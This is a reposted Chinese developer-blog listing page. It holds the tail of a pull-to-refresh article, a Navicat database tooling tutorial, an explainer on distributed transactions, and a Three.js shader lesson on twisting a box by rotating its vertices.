return
}
...
}

代码示例

你可以在 codepen 中查看效果,web 端需要按 F12 用手机浏览器打开。

codepen.gif

总结

本文讲解了下拉的原理、并根据原理写出初始代码。在初始代码的基础上,我解决了 6 个缺陷、做了 2 个优化,实现了一个完善的下拉刷新效果。

拳打 H5,脚踢小程序。我是「小霖家的混江龙」,关注我,带你了解更多实用的前端武学。

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

我用 Navicat 这些技能少加了好多班,也为公司挣了不少

发表于 2024-02-29

我用 Navicat 的这些技能少加了好多班,也为公司挣了不少w

今天又用 Navicat 解决了一个数据同步的需求,财务又到账一笔收入…….

本文我将结合我过去的实践,给大家推荐一款数据库的运维工具。给大家呈现一下竟然可以用 Navicat 解决这些实际问题 。

熬了几个夜,毫无保留地将这些技能分享,只为博的一个赞,哈哈哈……😁

功能概览

核心功能 描述
数据传输 将 A 处的数据传输到 B 处。
数据同步 将 A 处的数据和 B 处的数据进行比较,找出差异进行同步。
结构同步 将 A 处的结构和 B 处的结构进行比较,包括函数、存储过程等。可以导出对应脚本
转储、备份 将数据进行导出。(结构和数据、数据)
快速生成数据 快速生成测试数据;性能压测生成数据
服务器监控 监控服务器的配置数据
逆向工程 快速生成 ER 图
其他功能 ……

以上功能,将结合实际案例,以图文并茂的方式进行演示。

一、数据传输

这里解释一下数据传输的概念:简单理解为将 A 里面的数据都传输到 B 中。

如下所示:将数据库 database1 传输到数据库 database2 中。

1.1 需求场景

场景 描述
数据库服务商更换 第一年购买了阿里云的 MySQL 数据库,由于价格原因原因等, 第二年换成华为云的 MySQL。需要将阿里云 MySQL 的数据迁移到华为云 MySQL 数据库
数据库资源升级 A 数据库对应存储资源快满了,将其数据库中的数据迁移到资源更好的 B 数据库中
资源安全升级 由于安全等,将环境 A 的数据库迁移到环境 B 中
数据初始化 新项目系统基础数据从预发环境迁移到正式环境等

场景还有很多,不一一举例,那么用 Navicat 如何实现这一需求呢,请往下看

1.2 Navicat 演示数据传输

以测试例子进行举例说明

第一步:找到数据传输

第二步:确定数据传输方向

这一步,确定好方向。方向反了就是事故了。

第三步:高级配置设置(特殊场景配置)

第四步:其他选型配置设置

如图已经标注注意点。

第五步:开始执行

创建前删除目标对象: 如果目标库中有对应的表,勾选上会被删除。如果不勾选,那么第一个遇到错误时继续则必须要勾选,否则执行创建创建的检查存在就直接停止了。不再继续了。

第六步:执行结果

通过这几步,数据就传输完成了。

1.3 注意事项

  1. 注意同步方向, 要明确从哪里到哪里。
  2. 默认情况,从源到目标,目标库中的对应存在会删除被删除,包括数据和结构。如果目标表里面的数据不应该被删除,则这种传输方式会是一种事故,特别注意。数据同步是一种覆盖的传输。

数据传输务必仔细,拉其他人一起确认 review。可以对旧的库先做备份,这样确保万无一失。

1.4 其他工具

像上面的这种情况其实还有很多其他工具可以实现的。

工具 优势 劣势
dump 可以dump整个库; 也能dump特殊几个表 比较粗粒度;
数据库厂商 工具成熟 付费;需要网路白名单配置

当然还有其他工具,不再举例。

1.5 小结

  1. 如果你只需同步部分字段到目标表,这个工具将是一个不错的选择
  2. 目标库是全新的,将旧的数据库都传输到新的库;不需太多的设置,直接采用默认就好了。
  3. 按批传输,效率比较高。

目标库存在表,也存在数据,要找出差异呢?只同步差异呢?

这是我四五年前遇到的一个升级问题。还记得那些加班的夜晚,直到我遇到 Navicat 这个技能。

二、数据同步

2.1 需求场景

我曾用这个数据同步功能做过两个数据库的差异对比!

下面是发布在 CSDN 的博客文章,是2018年,一晃 6年过去了…..

场景 描述
系统升级,找到灰度与生产之间的配置数据差异。 找到差异进行执行

当年做 saas 产品,都是先升级产品,再去升级定制的企业; 每次做产品迭代时都要找到大量差异数据进行执行。在没有这个能力之前都是手动处理,非常麻烦。

2.2 Navicat 演示数据同步

第一步:选择数据同步

第二步:确认数据同步的方向

第三步:填写配置

第四步:比较差异

根据实际情况,勾选具体项目。

说明:这种比较是十分消耗资源的操作。 不建议用同步方式去做数据传输。因为会有比较过程。

2.3 注意事项

这是同步过程,需要特别注意,否则会出问题! 会有删除、更新的情况。 这步操作一定要慎重处理。虽然工具很好用,但一旦操作错误,会是重大故障!

当然,除了数据同步以外, 数据库常常会存储过程(函数)同步等。 以前做 saas 产品,升级的时候会遇到存储过程的升级,所以也会非常麻烦。 找出差异脚本估计是我那一个周的工作,但是自从学会下面这个功能以后,老板都对我刮目相看了。

三、结构同步

比较两个数据库之间的结构差异,包括表、视图、函数(存储过程) 等

3.1 需求场景

这个是用得最多的一种能力。 因为产品常常升级,因此会经常遇到增加字段、增加索引、增加函数等。 对于传统项目开发,每次升级都是比较大的改动,常常会伴随大量的数据库变更。因此要正确、无遗留地整理出 SQL 升级脚本并不是一件简单的事情。有了这个功能后,我解放了。

场景 描述
系统升级,需要升级表结构、比如增加了一个字段;需要升级函数、索引等等 通过比较找到与线上数据库之间的差异,形成 DDL 脚本。快速升级到线上。

根据 DDL 脚本,可以编写出对应的回滚脚本

3.2 Navicat 演示结构同步

第一步:确定数据源

第二步:确定对象,包括数据表、视图、函数等;这一步会生成脚本

生成差异脚本,需要进行详细的比对,防止不必要的变更。

最后一步:检查执行结果

3.3 注意事项

注意:可以反向生成回滚脚本,这是我的经典操作之一。 这样到了线上出了问题,可以通过回滚脚本进行回滚,不一定要手动去整理写出回滚脚本。

这一步,我会关注 DELETE、DROP 语句,通过搜索找出这些语句。重点 Review。

任何的变更都是很重要的,务必升级前拉会做好 review 。

四、转储 & 备份 & 导出向导 & 快速复制一张表

备份数据是一种非常好的行为! 这些功能,可以备份表、存储过程等。

4.1 需求场景

场景 描述
出于安全角度,备份数据 备份一张表、备份一个库等,“有备无患”

4.2 Navicat 演示

转储 SQL 文件

可以选择结构和数据、只有结构。 可以选择针对一个表、或者一个库;不能编辑具体字段。

备份

备份选型,功能更加丰富。可以选择对象(表、视图、函数)等。

导出向导

导出向导功能,将数据导出更多的格式,真的比想象更强大!

快速复制一张表

当需要对一张表做更新操作,为了保证安全,可以快速复制一张表,做备份。

4.3 小结

*这些运维工具都是十分方便的。 在做一些高危操作的时,常常可以通过备份来达到“有备无患”。

五、快速生成测试数据

5.1 需求场景

场景 描述
测试同学需要进行性能测试,以前需要写程序,写脚本才能快速生成大量数据 快速生成压测数据
开发一个新表,需要造一些数据做功能验证 快速生成测试数据

5.2 Navicat演示

第一步:找到工具入口

第二步:确定表需要生成的数据量

第三步:可以根据高级选项,对生成的数据进行定制!

提效工具,真的太赞了!!!

5.3 小结

可以将这个功能推荐给你的测试朋友们,比手写脚本快太多了。要是早知道这个功能,也不至于加班了

六、其他功能

6.1 服务器监控

知道 mysql 服务器运行时候的配置信息。可以快速进行调整。

除非你了解这些变量,否则不要修改它们!!!

6.2 逆向工程 or ER 图

对于快速了解一个系统的表示非常方便的

6.3 全局查找

全局搜索,查找关键字。但用的比较少。

其他功能就不再一一介绍了。感兴趣的可以自行下载进行研究。

七、最后总结

  1. 保持对数据的敬畏之心,任何的数据变更都要慎重。数据变更做好 review
  2. 上面功能,建议先自行练习和测试,熟悉后再到生成环境使用

纸上得来终觉浅,绝知此事要躬行!

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

一文带你理解什么是分布式事务

发表于 2024-02-29

前言

之前在朋友圈看到有大佬推荐《微服务架构设计模式》一书,陆陆续续花了数个月阅读完成,是一本非常值得后端开发人员阅读的书籍,里面从分布式开始,一直讲到微服务架构,分布式一致性,分布式事务,虚拟化,事件溯源开发等等,有兴趣的朋友可以买来看看。

这篇文章部分内容摘自此书的分布式事务章节,还有一些则是笔者的理解和网上搜集的方案。

在开始之前,让我们先来讲一个小故事。

在一个古老的森林里,住着各种各样的小动物。它们和谐相处,但有一天,一只叫做小松鼠的小动物,发现了一个问题。每次它们要一起策划一场大型的晚宴时,总是发生混乱,因为食材、准备工作等事务无法很好地协同。

于是,小松鼠决定召集森林里的小动物们开了一次紧急会议,讨论如何解决这个问题。在会议上,各种小动物都纷纷发言,提出了各自的建议。

小松鼠说:“我们需要一种分布式事务的思维,确保每个环节都能协同工作,以保证我们的晚宴能够成功。”

老狐狸提出:“我们可以把晚宴的筹备过程分为几个阶段,每个阶段由不同的小动物负责。这样,每个阶段就像一个事务,只有在确认完成后,才能进入下一个阶段。”

小松鼠点头称赞道:“这个主意不错,我们可以将整个筹备过程分为采购、准备、烹饪和布置等几个阶段。每个阶段由不同的小动物团队负责。”

于是,小兔子负责食材采购,小熊负责筹备工作,小狸猫负责烹饪,而小鹿负责布置现场。每个小动物团队在完成自己的任务后,都会向其他团队发送通知,表示自己的任务已经完成,可以进入下一个阶段。

这样一来,整个晚宴的筹备过程就像是一个分布式事务系统,每个小动物团队都在各自的阶段完成任务,确保了晚宴的有序进行。最终,他们成功地举办了一场美妙的晚宴,大家都非常满意。

什么是分布式事务

在当今的软件系统中,一般都是牺牲强一致性来换取系统的高性能和高可用,只需要保证数据的最终一致性,一般来说这个达到最终一致性的时间需要在用户和产品层面是可以接受的。当然有一些系统对于一致性的要求更高,比如金融系统,金融系统一般都需要保持最终结果的强一致性,不然就会发生钱凭空消失的可能。

那么在以上场景中,我们如何保证我们数据的最终一致性呢?

一般来说我们会采用分布式事务、分布式锁等方案。

分布式事务与数据库事务一样,同样具有ACID(原子、一致、隔离、持久)四个数学,最终保证的是系统状态的一致性

那么什么是分布式事务呢?

现在的业务系统一般都是微服务架构,即使不是微服务架构,那么一个系统也会有多个服务来组成。

那么业务的一个完整流程很可能就需要分别调用散落在各个节点的各个不同服务上的接口,这个时候如果我们想要保证这个完整流程的一致性,那么就需要保证请求各个节点的各个服务,要么都成功,要么都失败。

如果使用强一致性方案,基本就靠『多阶段提交』这样的方式,如果采用弱一致性方案,那么可选择的方案就比较多。

分布式事务 VS 分布式一致性协议 VS 分布式锁 VS 数据库事务

分布式一致性

分布式一致性协议针对的是多个节点重复做相同的一件事情,主要处理的是多副本之间的一致性,更像是共识算法,比如Paxos算法、ZAB算法、Raft算法、Gossip算法。分布式一致性协议需要处理的任务逻辑是:

如下图所示,服务中的每一个结点对外来说,都是相等的,n1-n5在客户端的感知中没有任何区别。

每个节点都要完成同一个任务并且保证节点之间的处理状态完全一致

分布式事务

分布式事务则针对的是几个不同的任务或流程,它们要捆绑在一起成功或者失败,要么都成功、要么都失败,要保证多个流程的一致性,针对的整体且完整流程的原子性

如下图所示,n1-n5所做的事情是不一样的,可以将它们理解成是有顺序的(向调度者请求的顺序),只有上一步完成了,做下一步才有意义。

每个节点都要完成不同任务,并且保证同时成功或者同时失败

分布式锁

分布式锁则用于解决分布式系统中多个进程(任务)之间对共享资源的竞争问题,在单机系统中可以使用锁来确保同一时刻只有一个进程可以访问共享资源;在分布式系统下则必须通过分布式锁来做到对共享资源进行同步

如图,系统中的多个结点通过分布式锁请求资源,然后才能够处理请求,作出相应,这里同时只能有N个结点拿到锁,从而拿到需要的资源,比如数据库连接等等。

每个节点都想拿到资源,但是同一时刻只能有一个节点拿到资源

分布式事务vs数据库事务

数据库事务相对来说比分布式事务会容易实现很多,数据库系统会将跨表事务的问题收拢到系统内部来处理,然后系统内部基于XA或者其他协议,结合MVCC事务锁之类的机制,就可以解决好这个问题

但是对于分布式事务而言,它涉及到的是散落在各个节点的各个服务之间的一致性,每个服务节点的数据存储机制和方案都是不固定的,因此就无法采用数据库事务的解决方案。

我们一般无法收归下游其他服务以及内部不同存储系统之间的事务。因此,针对业务层面的分布式事务的解决方案,一般的做法就是加一层或多层抽象:

● 增加外在的事务存储

● 要求事务参与方遵循某些约束,调用特定的一些API将事务信息进行上报关联

● 引入事务协调者,由它来根据参与方上报的信息做一些事务的驱动逻辑

结语

本文主要向大家介绍了什么是分布式事务,以及分布式事务和其他技术,比如分布式一致性、分布式锁等技术的区别。
创作不易,如果有收获欢迎点赞、评论、收藏,您的支持就是我最大的动力。

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

手把手带你入门 Threejs Shader 系列(八)

发表于 2024-02-29

本系列教程的代码将开源到该仓库,前几篇文章的代码也会陆续补上,欢迎大家 Star:github.com/DesertsX/th…

本系列的代码同时放到了 Codepen Collection,欢迎学习:codepen.io/collection/…

此外,之前和之后的所有文章的例子都将更新到这里,方便大家和古柳一起见证本系列内容的不断壮大与完善过程 www.canva.com/design/DAF3…

继续放新加上的群友的赞扬!看到群友把前面七篇全认真看了并每篇都点赞,甚至发现了此前没人发现的 bug,值得表扬👍!

正文

在前两篇关于顶点着色器的文章里,古柳教大家应用 sin、random、noise 等函数来移动顶点、改变几何体形状,并介绍了将 noise 数值作为颜色的一些方法。

本文古柳将教大家如何对顶点进行旋转,不过因为球体的顶点怎么旋转球体形状都不变,所以我们用长方体讲解更直观。通过对顶点旋转不同角度可以实现类似“扭麻花”的效果。

长方体

下面是简单的一些设置,我们使用 BoxGeometry 并且在 shader 里用 vUv 作为颜色,相机在 z=3 的位置看向场景中心、正对长方体。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
js复制代码const camera = new THREE.PerspectiveCamera(75, 1, 0.01, 100);
camera.position.set(0, 0, 3);

const vertexShader = /* GLSL */ `
uniform float uTime;
varying vec2 vUv;

void main() {
vUv = uv;
vec3 newPos = position;
gl_Position = projectionMatrix * modelViewMatrix * vec4(newPos, 1.0);
}
`;

const fragmentShader = /* GLSL */ `
varying vec2 vUv;

void main() {
gl_FragColor = vec4(vUv, 0.0, 1.0);
}
`;

// const geometry = new THREE.BoxGeometry(1, 1, 1);
const geometry = new THREE.BoxGeometry(3, 1, 1);
const material = new THREE.ShaderMaterial({
uniforms: {
uTime: { value: 0 },
},
vertexShader,
fragmentShader,
});

const mesh = new THREE.Mesh(geometry, material);
scene.add(mesh);

const clock = new THREE.Clock();
function render() {
const time = clock.getElapsedTime();
material.uniforms.uTime.value = time;
// mesh.rotation.y = time;
renderer.render(scene, camera);
requestAnimationFrame(render);
}

render();

当长宽高都为1时,可以看到立方体每个面都有各自的 (0,0)-(1,1) uv 值,看着像由6个 plane 组成。不同几何体的 uv 效果会很不一样,这点大家替换几何体看看就会发现,不过数值范围都是0-1不会变化。

将长度设为3,方便后续沿x轴扭麻花。这里可以看到长度拉长后,uv 青红颜色效果也只是相应的拉长,4个角的颜色不变,背后数值范围也是不变的。

之前讲解片元着色器时选用 1:1 的 plane 作为例子是为了不使大家对 uv 产生困惑,实际上不论是这里的 3:1,还是任何比例,uv 各自都是0-1的范围,只是图形不是 1:1 时咋看起来会有些奇怪。

条纹效果

知道长方体上 uv 的效果后,我们可以将 vUv.y 乘以3.0再通过 fract 取小数然后对0.5取 step 从而使得数值在0/1/0/1/0/1之间变化,最后用该数值来 mix 插值两种颜色从而实现重复条纹效果。

这里的红色是 #d8345f,可以通过该链接将16进制格式直接转化成 GLSL 里的 rgb 数值,即 vec3(0.847, 0.204, 0.373)。链接不用记也没事,要用时直接谷歌 glsl hex to rgb 即可。

  • 链接:airtightinteractive.com/util/hex-to…
1
2
3
4
5
6
7
8
9
10
C#复制代码varying vec2 vUv;

void main() {
vec3 color1 = vec3(0.847, 0.204, 0.373);
vec3 color2 = vec3(1.0);
float mixer = step(0.5, fract(vUv.y * 3.0));
// vec3 color = vec3(mixer);
vec3 color = mix(color1, color2, mixer);
gl_FragColor = vec4(color, 1.0);
}

如果大家是跟着本系列教程一篇篇学下来的,相信这里红白条纹的实现闭着眼睛也能写出来了吧。如果有不理解的地方,可以看前面文章复习下:「手把手带你入门 Three.js Shader 系列(二) - 牛衣古柳 - 20230716」。

旋转顶点

完成上述准备工作后,我们就可以开始对顶点进行旋转。谷歌搜索 glsl rotate 后从这个链接拷贝 glsl-rotation-3d 部分的函数到顶点着色器里。rotate() 函数接收待旋转的三维点坐标、旋绕的轴、旋转角度这三个参数,返回旋转后点的坐标位置。

  • 链接:gist.github.com/yiwenl/3f80…
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
C#复制代码// glsl-rotation-3d
mat4 rotationMatrix(vec3 axis, float angle) {
axis = normalize(axis);
float s = sin(angle);
float c = cos(angle);
float oc = 1.0 - c;

return mat4(oc * axis.x * axis.x + c, oc * axis.x * axis.y - axis.z * s, oc * axis.z * axis.x + axis.y * s, 0.0,
oc * axis.x * axis.y + axis.z * s, oc * axis.y * axis.y + c, oc * axis.y * axis.z - axis.x * s, 0.0,
oc * axis.z * axis.x - axis.y * s, oc * axis.y * axis.z + axis.x * s, oc * axis.z * axis.z + c, 0.0,
0.0, 0.0, 0.0, 1.0);
}

vec3 rotate(vec3 v, vec3 axis, float angle) {
mat4 m = rotationMatrix(axis, angle);
return (m * vec4(v, 1.0)).xyz;
}

长方体沿x轴拉长,那么就让顶点 position 都绕x轴旋转,即 axis 用 (1.0, 0.0, 0.0) 表示;旋转角度用弧度值表示,需要用到 PI 值,可以通过 const float PI 声明和赋值。先让所有顶点统一绕x轴旋转 PI/4.0 即45度,看起来已经成功生效。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
C#复制代码uniform float uTime;
varying vec2 vUv;

const float PI = 3.1415925;

// vec3 rotate(...){ ... }

void main() {
vUv = uv;
// vec3 newPos = position;
vec3 axis = vec3(1.0, 0.0, 0.0);
float angle = PI / 4.0;
vec3 newPos = rotate(position, axis, angle);
gl_Position = projectionMatrix * modelViewMatrix * vec4(newPos, 1.0);
}

让角度随时间变化,就能实现 mesh.rotation.y=time 同样的效果。

1
2
C#复制代码// float angle = PI / 4.0;
float angle = uTime;

改变 axis 就能绕其他轴旋转。

1
2
3
4
C#复制代码// vec3 axis = vec3(1.0, 0.0, 0.0);
vec3 axis = vec3(0.0, 1.0, 0.0);
// vec3 axis = vec3(0.0, 0.0, 1.0);
// vec3 axis = vec3(1.0, 1.0, 1.0);

旋转角度随x值而变化

当然这里还是绕x轴旋转所以 axis 不用变。为了实现前文所说的沿x轴扭麻花的效果,我们需要使旋转的角度随顶点坐标里的x值而变化,而不是所有顶点都用统一的数值。此时会发现长方体形状变得挺别扭、挺奇怪,中间区域过渡地不够丝滑。

1
C#复制代码float angle = position.x;

原因想来大家也能猜到,就是长方体的细分数不够、顶点不够多,中间没有顶点、没有操作的空间,只有两端才能旋转,所以扭转得很生硬。通过设置 material 的 wireframe:true 就能应证我们的想法。

1
2
3
4
5
6
7
8
9
js复制代码const geometry = new THREE.BoxGeometry(3, 1, 1);
const material = new THREE.ShaderMaterial({
uniforms: {
uTime: { value: 0 },
},
vertexShader,
fragmentShader,
wireframe: true,
});

增加长方体的细分数

我们以2、4、8、16、32、64……等2的倍数来增加长方体的细分数,会发现差不多在32以后中间扭转过渡就很丝滑了。毕竟图中长方体就这么点长度,切成32份已经很细了。这里采用64也没什么特别的缘故,反正 shader 里都是同样轻松拿捏,用大些的数值也无妨。

1
2
3
js复制代码// const geometry = new THREE.BoxGeometry(3, 1, 1);
// const geometry = new THREE.BoxGeometry(3, 1, 1, 4, 4, 4);
const geometry = new THREE.BoxGeometry(3, 1, 1, 64, 64, 64);

随着细分数增加、顶点数增多,中间顶点随着x坐标的变化以不同角度发生旋转,从而有了丝滑的扭曲效果。当我们把 position.x + uTime 作为 angle 时就能使扭转效果随之动起来。

1
2
3
4
5
6
7
8
9
10
C#复制代码// ...

void main() {
vUv = uv;
vec3 axis = vec3(1.0, 0.0, 0.0);
// float angle = position.x;
float angle = position.x + uTime;
vec3 newPos = rotate(position, axis, angle);
gl_Position = projectionMatrix * modelViewMatrix * vec4(newPos, 1.0);
}

其他变体

除此之外我们还可以随意在 angle 加些内容来实现不同的扭曲动画效果,大家可自由发挥,没准会有意外之喜。

1
C#复制代码float angle = position.x + sin(uTime) * 3.0 + uTime;

1
C#复制代码float angle = position.x * sin(uTime) - uTime;

Kinetic Typography

以上就是“扭麻花”效果的全部内容,并不复杂、并不难懂。

古柳之所以想讲这个效果,一方面是因为想教大家顶点旋转,一方面是想到这个 Kinetic Typography 动态文字排版/文字动效的实际例子(也这是上面 #d8345f 红色的出处,并非凭空冒出来的)。

扭转长方体后再结合文字会使人眼前一亮,后续讲解到 shader 里的纹理贴图、纹理采样时,古柳会再带大家把结合文字部分补上,敬请期待!

  • 链接:tympanus.net/Tutorials/c…

其他文字效果同样不错,有机会古柳会在教程里多讲些例子。

暂时舍弃的 WebGL Blob

其实一开始古柳设想的讲解顶点旋转的例子是下面这个效果,即在 noise 值偏移顶点后,加上旋转顶点,再加上 Cosine Palette(另一种 shader 里的配色方法),从而实现出这种酷炫的 WebGL Blob 效果。不过一些细节古柳觉得解释不好,远不如长方体“扭麻花”直观好懂,故而进行了取舍。当然其中的 Cosine Palette 古柳后续还是会教大家的。

小结

本文的内容比较简单,没啥好总结的。最后照旧是本文的所有例子合集,大家要好好复习哈。

相关阅读

「手把手带你入门 Three.js Shader 系列」目录如下:

  • 「断更19个月,携 Three.js Shader 归来!(上) - 牛衣古柳 - 20230416」
  • 「断更19个月,携 Three.js Shader 归来!(下) - 牛衣古柳 - 20230421」
  • 「手把手带你入门 Three.js Shader 系列(七) - 牛衣古柳 - 20230206」
  • 「手把手带你入门 Three.js Shader 系列(六) - 牛衣古柳 - 20231220」
  • 「手把手带你入门 Three.js Shader 系列(五) - 牛衣古柳 - 20231126」
  • 「手把手带你入门 Three.js Shader 系列(四) - 牛衣古柳 - 20231121」
  • 「手把手带你入门 Three.js Shader 系列(三) - 牛衣古柳 - 20230725」
  • 「手把手带你入门 Three.js Shader 系列(二) - 牛衣古柳 - 20230716」
  • 「手把手带你入门 Three.js Shader 系列(一) - 牛衣古柳 - 20230515」

照例

如果你喜欢本文内容,欢迎以各种方式支持,这也是对古柳输出教程的一种正向鼓励!

最后欢迎加入「可视化交流群」,进群多多交流,对本文任何地方有疑惑的可以群里提问。加古柳微信:xiaoaizhj,备注「可视化加群」即可。

欢迎关注古柳的公众号「牛衣古柳」,并设置星标,以便第一时间收到更新。

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

1…535455…956

开发者博客

9558 日志
1953 标签
RSS
© 2025 开发者博客
本站总访问量次
由 Hexo 强力驱动
|
主题 — NexT.Muse v5.1.4
0%